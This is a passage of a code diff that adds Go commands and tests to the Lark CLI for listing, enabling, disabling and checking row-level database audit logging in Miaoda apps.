|
||||
|
||||
if _, _, _, err := analyticsTypesForCLI("users", "desktop", ""); err == nil {
|
||||
t.Fatalf("users desktop series should fail")
|
||||
}
|
||||
if _, _, _, err := analyticsTypesForCLI("page-view", "tablet", ""); err == nil {
|
||||
t.Fatalf("page-view tablet series should fail")
|
||||
}
|
||||
if _, _, _, err := analyticsTypesForCLI("page-view", "", "tablet"); err == nil {
|
||||
t.Fatalf("tablet device type should fail")
|
||||
}
|
||||
}
|
||||
302
shortcuts/apps/apps_db_audit_list.go
Normal file
302
shortcuts/apps/apps_db_audit_list.go
Normal file
@@ -0,0 +1,302 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
// AppsDBAuditList 列出数据表的行级审计事件(INSERT/UPDATE/DELETE 的变更追溯)。
|
||||
//
|
||||
// GET /apps/{app_id}/db/audit_list(cursor 分页)。--table 可重复传多张表;--since/--until 多格式时间。
|
||||
// operator 透传 {id,name}(json 还原对象、pretty 取 name);before/after 是条件出现的 JSON
|
||||
// (INSERT 无 before、DELETE 无 after),json 还原成对象。
|
||||
//
|
||||
// 多表查询时,CLI 先用 schema(表是否存在)+ status(审计是否开启)在本地过滤,把不存在 /
|
||||
// 未开启审计的表剔除后再查 audit_list,被剔除的表及原因放进 skipped(服务端不再返该字段)。
|
||||
var AppsDBAuditList = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-audit-list",
|
||||
Description: "List row-change audit events for one or more tables (cursor pagination)",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-audit-list --app-id <app_id> --table orders",
|
||||
"Multiple tables: repeat --table; filter time with --since 7d / --until 2026-04-15.",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "table", Type: "string_slice", Desc: "table(s) to list audit events for (repeatable)", Required: true},
|
||||
{Name: "since", Desc: "filter: event at or after; relative (7d/2h) | date | datetime | ISO 8601 w/ TZ (bare date/datetime read in local timezone)"},
|
||||
{Name: "until", Desc: "filter: event at or before; same formats as --since"},
|
||||
{Name: "page-size", Type: "int", Default: "20", Desc: "page size"},
|
||||
{Name: "page-token", Desc: "pagination cursor from previous response"},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rejectLegacyEnvFlag(rctx); err != nil {
|
||||
return err
|
||||
}
|
||||
if len(auditListTables(rctx)) == 0 {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--table is required (at least one table)").WithParam("--table")
|
||||
}
|
||||
return normalizeTimeFlags(rctx, "since", "until")
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
GET(appAuditListPath(appID)).
|
||||
Desc("List Miaoda app table audit events").
|
||||
Params(buildAuditListParams(rctx, auditListTables(rctx)))
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
requested := auditListTables(rctx)
|
||||
env := dbEnv(rctx)
|
||||
|
||||
// 多表查询:CLI 侧先用 schema(表是否存在)+ status(审计是否开启)过滤,
|
||||
// 不存在 / 未开启审计的表不进 audit_list 查询,单独在 skipped 里给出原因。
|
||||
// 单表查询直接打 audit_list,由后端就 table-not-found / audit-not-enabled 报错。
|
||||
queryTables := requested
|
||||
var skipped []auditSkippedEntry
|
||||
if len(requested) > 1 {
|
||||
queryTables, skipped, err = filterAuditTables(rctx, appID, env, requested)
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbChangelogHint)
|
||||
}
|
||||
// 所有请求表都被过滤掉 → 无可查询表,直接返回空 + skipped 提示,不调 audit_list。
|
||||
if len(queryTables) == 0 {
|
||||
out := map[string]interface{}{"items": []auditLogItem{}, "has_more": false, "skipped": skipped}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
io.WriteString(w, "No audit events found.\n")
|
||||
writeAuditSkipped(w, skipped, len(requested))
|
||||
})
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
data, err := rctx.CallAPITyped("GET", appAuditListPath(appID), buildAuditListParams(rctx, queryTables), nil)
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbChangelogHint)
|
||||
}
|
||||
items := projectAuditLogItems(data["items"])
|
||||
data["items"] = items
|
||||
// 服务端不再返 skipped;改由 CLI 算出的 skipped 写回输出。
|
||||
if len(skipped) > 0 {
|
||||
data["skipped"] = skipped
|
||||
} else {
|
||||
delete(data, "skipped")
|
||||
}
|
||||
multi := len(requested) > 1
|
||||
rctx.OutFormat(data, nil, func(w io.Writer) {
|
||||
renderAuditListPretty(w, items, skipped, len(requested), multi)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// auditSkippedEntry 是被 CLI 预过滤掉的表及原因(替代已删除的服务端 skipped 字段)。
|
||||
type auditSkippedEntry struct {
|
||||
Table string `json:"table"`
|
||||
Reason string `json:"reason"`
|
||||
}
|
||||
|
||||
// filterAuditTables 用 schema(存在性)+ status(审计开关)把请求表分成「可查询」与「跳过」两组。
|
||||
func filterAuditTables(rctx *common.RuntimeContext, appID, env string, requested []string) ([]string, []auditSkippedEntry, error) {
|
||||
existing, err := fetchExistingTables(rctx, appID, env)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
enabled, err := fetchAuditEnabledTables(rctx, appID, env)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
valid := make([]string, 0, len(requested))
|
||||
var skipped []auditSkippedEntry
|
||||
for _, t := range requested {
|
||||
switch {
|
||||
case !existing[t]:
|
||||
skipped = append(skipped, auditSkippedEntry{Table: t, Reason: "table not found"})
|
||||
case !enabled[t]:
|
||||
skipped = append(skipped, auditSkippedEntry{Table: t, Reason: "audit not enabled"})
|
||||
default:
|
||||
valid = append(valid, t)
|
||||
}
|
||||
}
|
||||
return valid, skipped, nil
|
||||
}
|
||||
|
||||
// fetchExistingTables 翻页拉全量表清单,返回存在表名集合(schema 命令同源接口)。
|
||||
func fetchExistingTables(rctx *common.RuntimeContext, appID, env string) (map[string]bool, error) {
|
||||
existing := map[string]bool{}
|
||||
token := ""
|
||||
for {
|
||||
params := map[string]interface{}{"env": env, "page_size": 100}
|
||||
if token != "" {
|
||||
params["page_token"] = token
|
||||
}
|
||||
data, err := rctx.CallAPITyped("GET", appTablesPath(appID), params, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, it := range asMapSlice(data["items"]) {
|
||||
if name := common.GetString(it, "name"); name != "" {
|
||||
existing[name] = true
|
||||
}
|
||||
}
|
||||
token = common.GetString(data, "page_token")
|
||||
if data["has_more"] != true || token == "" {
|
||||
break
|
||||
}
|
||||
}
|
||||
return existing, nil
|
||||
}
|
||||
|
||||
// fetchAuditEnabledTables 拉审计状态,返回当前已开启审计的表名集合(status 命令同源接口)。
|
||||
func fetchAuditEnabledTables(rctx *common.RuntimeContext, appID, env string) (map[string]bool, error) {
|
||||
data, err := rctx.CallAPITyped("GET", appAuditStatusPath(appID), map[string]interface{}{"env": env}, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
enabled := map[string]bool{}
|
||||
for _, it := range asMapSlice(data["items"]) {
|
||||
if it["enabled"] == true {
|
||||
if name := common.GetString(it, "table"); name != "" {
|
||||
enabled[name] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
return enabled, nil
|
||||
}
|
||||
|
||||
// asMapSlice 把 interface{}([]interface{})里的每个 map 元素取出,非 map 丢弃。
|
||||
func asMapSlice(raw interface{}) []map[string]interface{} {
|
||||
arr, _ := raw.([]interface{})
|
||||
out := make([]map[string]interface{}, 0, len(arr))
|
||||
for _, it := range arr {
|
||||
if m, ok := it.(map[string]interface{}); ok {
|
||||
out = append(out, m)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// auditListTables 取 --table 切片,trim 去空。
|
||||
func auditListTables(rctx *common.RuntimeContext) []string {
|
||||
out := make([]string, 0)
|
||||
for _, t := range rctx.StrSlice("table") {
|
||||
if v := strings.TrimSpace(t); v != "" {
|
||||
out = append(out, v)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// buildAuditListParams 组装 audit_list 查询参数:env / tables(逗号拼接) / page_size 及可选 since/until/page_token。
|
||||
func buildAuditListParams(rctx *common.RuntimeContext, tables []string) map[string]interface{} {
|
||||
params := map[string]interface{}{
|
||||
"env": dbEnv(rctx),
|
||||
"tables": strings.Join(tables, ","),
|
||||
"page_size": rctx.Int("page-size"),
|
||||
}
|
||||
addStr := func(flag, key string) {
|
||||
if v := strings.TrimSpace(rctx.Str(flag)); v != "" {
|
||||
params[key] = v
|
||||
}
|
||||
}
|
||||
addStr("since", "since")
|
||||
addStr("until", "until")
|
||||
addStr("page-token", "page_token")
|
||||
return params
|
||||
}
|
||||
|
||||
type auditLogItem struct {
|
||||
EventID string `json:"event_id"`
|
||||
EventTime string `json:"event_time"`
|
||||
TargetTable string `json:"target_table"`
|
||||
Type string `json:"type"`
|
||||
Operator *operatorRef `json:"operator,omitempty"`
|
||||
Summary string `json:"summary"`
|
||||
Before interface{} `json:"before,omitempty"`
|
||||
After interface{} `json:"after,omitempty"`
|
||||
}
|
||||
|
||||
// projectAuditLogItems 把服务端原始审计事件投影为白名单 auditLogItem(operator 解析、before/after 还原成对象)。
|
||||
func projectAuditLogItems(raw interface{}) []auditLogItem {
|
||||
arr, _ := raw.([]interface{})
|
||||
out := make([]auditLogItem, 0, len(arr))
|
||||
for _, it := range arr {
|
||||
m, ok := it.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
row := auditLogItem{
|
||||
EventID: common.GetString(m, "event_id"),
|
||||
EventTime: common.GetString(m, "event_time"),
|
||||
TargetTable: common.GetString(m, "target_table"),
|
||||
Type: common.GetString(m, "type"),
|
||||
Operator: parseOperator(common.GetString(m, "operator")),
|
||||
Summary: common.GetString(m, "summary"),
|
||||
}
|
||||
// before/after 条件出现:INSERT 无 before、DELETE 无 after。JSON 字符串 → 还原对象。
|
||||
if b := common.GetString(m, "before"); b != "" {
|
||||
row.Before = safeParseJSON(b)
|
||||
}
|
||||
if a := common.GetString(m, "after"); a != "" {
|
||||
row.After = safeParseJSON(a)
|
||||
}
|
||||
out = append(out, row)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// renderAuditListPretty 单表 5 列 / 多表 6 列(首列 target_table);末尾列出 skipped 表。
|
||||
func renderAuditListPretty(w io.Writer, items []auditLogItem, skipped []auditSkippedEntry, totalRequested int, multi bool) {
|
||||
if len(items) == 0 {
|
||||
io.WriteString(w, "No audit events found.\n")
|
||||
writeAuditSkipped(w, skipped, totalRequested)
|
||||
return
|
||||
}
|
||||
var headers []string
|
||||
if multi {
|
||||
headers = []string{"target_table", "event_time", "type", "event_id", "operator", "summary"}
|
||||
} else {
|
||||
headers = []string{"event_time", "type", "event_id", "operator", "summary"}
|
||||
}
|
||||
rows := make([][]string, 0, len(items))
|
||||
for _, it := range items {
|
||||
cells := []string{dashIfEmpty(it.EventTime), it.Type, it.EventID, operatorName(it.Operator), dashIfEmpty(it.Summary)}
|
||||
if multi {
|
||||
cells = append([]string{dashIfEmpty(it.TargetTable)}, cells...)
|
||||
}
|
||||
rows = append(rows, cells)
|
||||
}
|
||||
renderAlignedTable(w, headers, rows)
|
||||
writeAuditSkipped(w, skipped, totalRequested)
|
||||
}
|
||||
|
||||
// writeAuditSkipped 打 "— Skipped N of M tables: orders (audit not enabled), foo (table not found)"。
|
||||
func writeAuditSkipped(w io.Writer, skipped []auditSkippedEntry, totalRequested int) {
|
||||
if len(skipped) == 0 {
|
||||
return
|
||||
}
|
||||
parts := make([]string, 0, len(skipped))
|
||||
for _, s := range skipped {
|
||||
parts = append(parts, fmt.Sprintf("%s (%s)", s.Table, s.Reason))
|
||||
}
|
||||
fmt.Fprintf(w, "— Skipped %d of %d tables: %s\n", len(skipped), totalRequested, strings.Join(parts, ", "))
|
||||
}
|
||||
144
shortcuts/apps/apps_db_audit_set.go
Normal file
144
shortcuts/apps/apps_db_audit_set.go
Normal file
@@ -0,0 +1,144 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
// 审计保留期合法取值。
|
||||
var auditRetentions = []string{"7d", "30d", "180d", "360d", "forever"}
|
||||
|
||||
const dbAuditSetHint = "verify --app-id and --table; check current config with `lark-cli apps +db-audit-status --app-id <app_id>`"
|
||||
|
||||
// AppsDBAuditEnable 为某张表开启行级审计(变更追溯)。
|
||||
//
|
||||
// POST /apps/{app_id}/db/audit_set,body {table, enabled:true, retention}。--retention 默认 7d。
|
||||
var AppsDBAuditEnable = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-audit-enable",
|
||||
Description: "Enable row-change audit logging for a table",
|
||||
Risk: "write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-audit-enable --app-id <app_id> --table orders --retention 30d",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "table", Desc: "table to enable audit for", Required: true},
|
||||
{Name: "retention", Default: "7d", Enum: auditRetentions, Desc: "how long to keep audit logs"},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
return rejectLegacyEnvFlag(rctx)
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(appAuditSetPath(appID)).
|
||||
Desc("Enable table audit").
|
||||
Params(map[string]interface{}{"env": dbEnv(rctx)}).
|
||||
Body(map[string]interface{}{"table": strings.TrimSpace(rctx.Str("table")), "enabled": true, "retention": rctx.Str("retention")})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
table := strings.TrimSpace(rctx.Str("table"))
|
||||
retention := rctx.Str("retention")
|
||||
stop := rctx.StartSpinner("Enabling audit logging for " + table)
|
||||
defer stop()
|
||||
data, err := rctx.CallAPITyped("POST", appAuditSetPath(appID),
|
||||
map[string]interface{}{"env": dbEnv(rctx)},
|
||||
map[string]interface{}{"table": table, "enabled": true, "retention": retention})
|
||||
stop()
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbAuditSetHint)
|
||||
}
|
||||
st := auditSetStatus(data, table)
|
||||
ret := common.GetString(st, "retention")
|
||||
if ret == "" {
|
||||
ret = retention
|
||||
}
|
||||
out := map[string]interface{}{"table": common.GetString(st, "table"), "enabled": true, "retention": ret}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
fmt.Fprintf(w, "✓ Audit enabled for table '%s' (retention: %s)\n", common.GetString(out, "table"), ret)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// AppsDBAuditDisable 关闭某张表的行级审计。
|
||||
//
|
||||
// POST /apps/{app_id}/db/audit_set,body {table, enabled:false}。
|
||||
var AppsDBAuditDisable = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-audit-disable",
|
||||
Description: "Disable row-change audit logging for a table",
|
||||
Risk: "write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-audit-disable --app-id <app_id> --table orders",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "table", Desc: "table to disable audit for", Required: true},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
return rejectLegacyEnvFlag(rctx)
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(appAuditSetPath(appID)).
|
||||
Desc("Disable table audit").
|
||||
Params(map[string]interface{}{"env": dbEnv(rctx)}).
|
||||
Body(map[string]interface{}{"table": strings.TrimSpace(rctx.Str("table")), "enabled": false})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
table := strings.TrimSpace(rctx.Str("table"))
|
||||
data, err := rctx.CallAPITyped("POST", appAuditSetPath(appID),
|
||||
map[string]interface{}{"env": dbEnv(rctx)},
|
||||
map[string]interface{}{"table": table, "enabled": false})
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbAuditSetHint)
|
||||
}
|
||||
st := auditSetStatus(data, table)
|
||||
out := map[string]interface{}{"table": common.GetString(st, "table"), "enabled": false}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
fmt.Fprintf(w, "✓ Audit disabled for table '%s'\n", common.GetString(out, "table"))
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// auditSetStatus 取响应里的 status 对象(缺失时用入参 table 兜底)。
|
||||
func auditSetStatus(data map[string]interface{}, table string) map[string]interface{} {
|
||||
if st, ok := data["status"].(map[string]interface{}); ok {
|
||||
if common.GetString(st, "table") == "" {
|
||||
st["table"] = table
|
||||
}
|
||||
return st
|
||||
}
|
||||
return map[string]interface{}{"table": table}
|
||||
}
|
||||
140
shortcuts/apps/apps_db_audit_status.go
Normal file
140
shortcuts/apps/apps_db_audit_status.go
Normal file
@@ -0,0 +1,140 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
// AppsDBAuditStatus 查看数据表的审计开关状态(哪些表开了行级审计、保留期)。
|
||||
//
|
||||
// GET /apps/{app_id}/db/audit_status。--table 指定单表(无记录时占位 enabled=false);
|
||||
// 不指定返回所有已配置表。json 单表返对象、多表返数组;pretty 单表 key/value、多表表格。
|
||||
var AppsDBAuditStatus = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-audit-status",
|
||||
Description: "Show table audit (row-change tracking) status",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-audit-status --app-id <app_id>",
|
||||
"Check one table: --table orders",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "table", Desc: "show status for a single table (default: all configured tables)"},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
return rejectLegacyEnvFlag(rctx)
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
GET(appAuditStatusPath(appID)).
|
||||
Desc("Get table audit status").
|
||||
Params(buildAuditStatusParams(rctx))
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := rctx.CallAPITyped("GET", appAuditStatusPath(appID), buildAuditStatusParams(rctx), nil)
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbChangelogHint)
|
||||
}
|
||||
table := strings.TrimSpace(rctx.Str("table"))
|
||||
items := projectAuditStatusItems(data["items"])
|
||||
// 单表查询但后端无记录 → 占位 enabled=false(与 miaoda 一致)。
|
||||
if table != "" && len(items) == 0 {
|
||||
items = []map[string]interface{}{{"table": table, "enabled": false}}
|
||||
}
|
||||
// json:单表返对象、多表返数组。
|
||||
var out interface{}
|
||||
if table != "" && len(items) == 1 {
|
||||
out = items[0]
|
||||
} else {
|
||||
out = map[string]interface{}{"items": items}
|
||||
}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
renderAuditStatusPretty(w, items, table)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// buildAuditStatusParams 组装 audit_status 查询参数:env 及可选 table(单表查询)。
|
||||
func buildAuditStatusParams(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
params := map[string]interface{}{"env": dbEnv(rctx)}
|
||||
if t := strings.TrimSpace(rctx.Str("table")); t != "" {
|
||||
params["table"] = t
|
||||
}
|
||||
return params
|
||||
}
|
||||
|
||||
// projectAuditStatusItems 透出 {table, enabled, enabled_at?, retention?}。
|
||||
func projectAuditStatusItems(raw interface{}) []map[string]interface{} {
|
||||
arr, _ := raw.([]interface{})
|
||||
out := make([]map[string]interface{}, 0, len(arr))
|
||||
for _, it := range arr {
|
||||
m, ok := it.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
row := map[string]interface{}{
|
||||
"table": common.GetString(m, "table"),
|
||||
"enabled": m["enabled"] == true,
|
||||
}
|
||||
if v := common.GetString(m, "enabled_at"); v != "" {
|
||||
row["enabled_at"] = v
|
||||
}
|
||||
if v := common.GetString(m, "retention"); v != "" {
|
||||
row["retention"] = v
|
||||
}
|
||||
out = append(out, row)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// renderAuditStatusPretty 单表渲染 key/value、多表渲染对齐表格(table/enabled/enabled_at/retention)。
|
||||
func renderAuditStatusPretty(w io.Writer, items []map[string]interface{}, table string) {
|
||||
if len(items) == 0 {
|
||||
io.WriteString(w, "No audit configuration found.\n")
|
||||
return
|
||||
}
|
||||
yesNo := func(m map[string]interface{}) string {
|
||||
if m["enabled"] == true {
|
||||
return "yes"
|
||||
}
|
||||
return "no"
|
||||
}
|
||||
get := func(m map[string]interface{}, k string) string { return dashIfEmpty(common.GetString(m, k)) }
|
||||
// 单表 → key/value
|
||||
if table != "" && len(items) == 1 {
|
||||
it := items[0]
|
||||
renderKeyValuePairs(w, [][2]string{
|
||||
{"table", common.GetString(it, "table")},
|
||||
{"enabled", yesNo(it)},
|
||||
{"enabled_at", get(it, "enabled_at")},
|
||||
{"retention", get(it, "retention")},
|
||||
})
|
||||
return
|
||||
}
|
||||
// 多表 → 表格
|
||||
headers := []string{"table", "enabled", "enabled_at", "retention"}
|
||||
rows := make([][]string, 0, len(items))
|
||||
for _, it := range items {
|
||||
rows = append(rows, []string{common.GetString(it, "table"), yesNo(it), get(it, "enabled_at"), get(it, "retention")})
|
||||
}
|
||||
renderAlignedTable(w, headers, rows)
|
||||
}
|
||||
316
shortcuts/apps/apps_db_audit_test.go
Normal file
316
shortcuts/apps/apps_db_audit_test.go
Normal file
@@ -0,0 +1,316 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
const (
|
||||
dbAuditStatusURL = "/open-apis/spark/v1/apps/app_x/db/audit_status"
|
||||
dbAuditSetURL = "/open-apis/spark/v1/apps/app_x/db/audit_set"
|
||||
dbAuditListURL = "/open-apis/spark/v1/apps/app_x/db/audit_list"
|
||||
dbTablesListURL = "/open-apis/spark/v1/apps/app_x/tables"
|
||||
)
|
||||
|
||||
// ── audit-status ──
|
||||
|
||||
// TestAppsDBAuditStatus_SingleTableObjectWithPlaceholder 验证单表查询无记录时返回 enabled:false 的占位对象(非数组)。
|
||||
func TestAppsDBAuditStatus_SingleTableObjectWithPlaceholder(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbAuditStatusURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"items": []interface{}{}}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBAuditStatus,
|
||||
[]string{"+db-audit-status", "--app-id", "app_x", "--table", "orders", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
// 单表无记录 → 占位对象 enabled:false(不是数组)。
|
||||
var env struct {
|
||||
Data struct {
|
||||
Table string `json:"table"`
|
||||
Enabled bool `json:"enabled"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(stdout.String()), &env); err != nil {
|
||||
t.Fatalf("decode: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if env.Data.Table != "orders" || env.Data.Enabled {
|
||||
t.Fatalf("expected placeholder {orders,false}, got %+v", env.Data)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBAuditStatus_MultiTablePrettyTable 验证多表 pretty 输出含 enabled/yes/no 列与 retention 值。
|
||||
func TestAppsDBAuditStatus_MultiTablePrettyTable(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbAuditStatusURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"items": []interface{}{
|
||||
map[string]interface{}{"table": "orders", "enabled": true, "enabled_at": "2026-04-15T10:30:00Z", "retention": "30d"},
|
||||
map[string]interface{}{"table": "users", "enabled": false},
|
||||
}}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBAuditStatus,
|
||||
[]string{"+db-audit-status", "--app-id", "app_x", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if !strings.Contains(got, "enabled") || !strings.Contains(got, "yes") || !strings.Contains(got, "no") || !strings.Contains(got, "30d") {
|
||||
t.Fatalf("pretty table malformed:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── audit-enable / disable ──
|
||||
|
||||
// TestAppsDBAuditEnable_RequiresTableAndValidRetention 验证缺 --table 报必填错、非法 --retention 报 ValidationError。
|
||||
func TestAppsDBAuditEnable_RequiresTableAndValidRetention(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
// 缺 --table → cobra required, exit 1
|
||||
if err := runAppsShortcut(t, AppsDBAuditEnable,
|
||||
[]string{"+db-audit-enable", "--app-id", "app_x", "--as", "user"}, factory, stdout); err == nil {
|
||||
t.Fatalf("expected required --table error")
|
||||
}
|
||||
// 非法 retention → enum 校验 (validation)
|
||||
factory2, stdout2, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBAuditEnable,
|
||||
[]string{"+db-audit-enable", "--app-id", "app_x", "--table", "orders", "--retention", "99d", "--as", "user"}, factory2, stdout2)
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("err = %T %v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if ve.Param != "--retention" {
|
||||
t.Fatalf("Param = %q, want --retention", ve.Param)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBAuditEnable_DryRunAndSuccess 验证 dry-run 发出 enabled:true+retention 的 POST,成功时打印 pretty 确认行。
|
||||
func TestAppsDBAuditEnable_DryRunAndSuccess(t *testing.T) {
|
||||
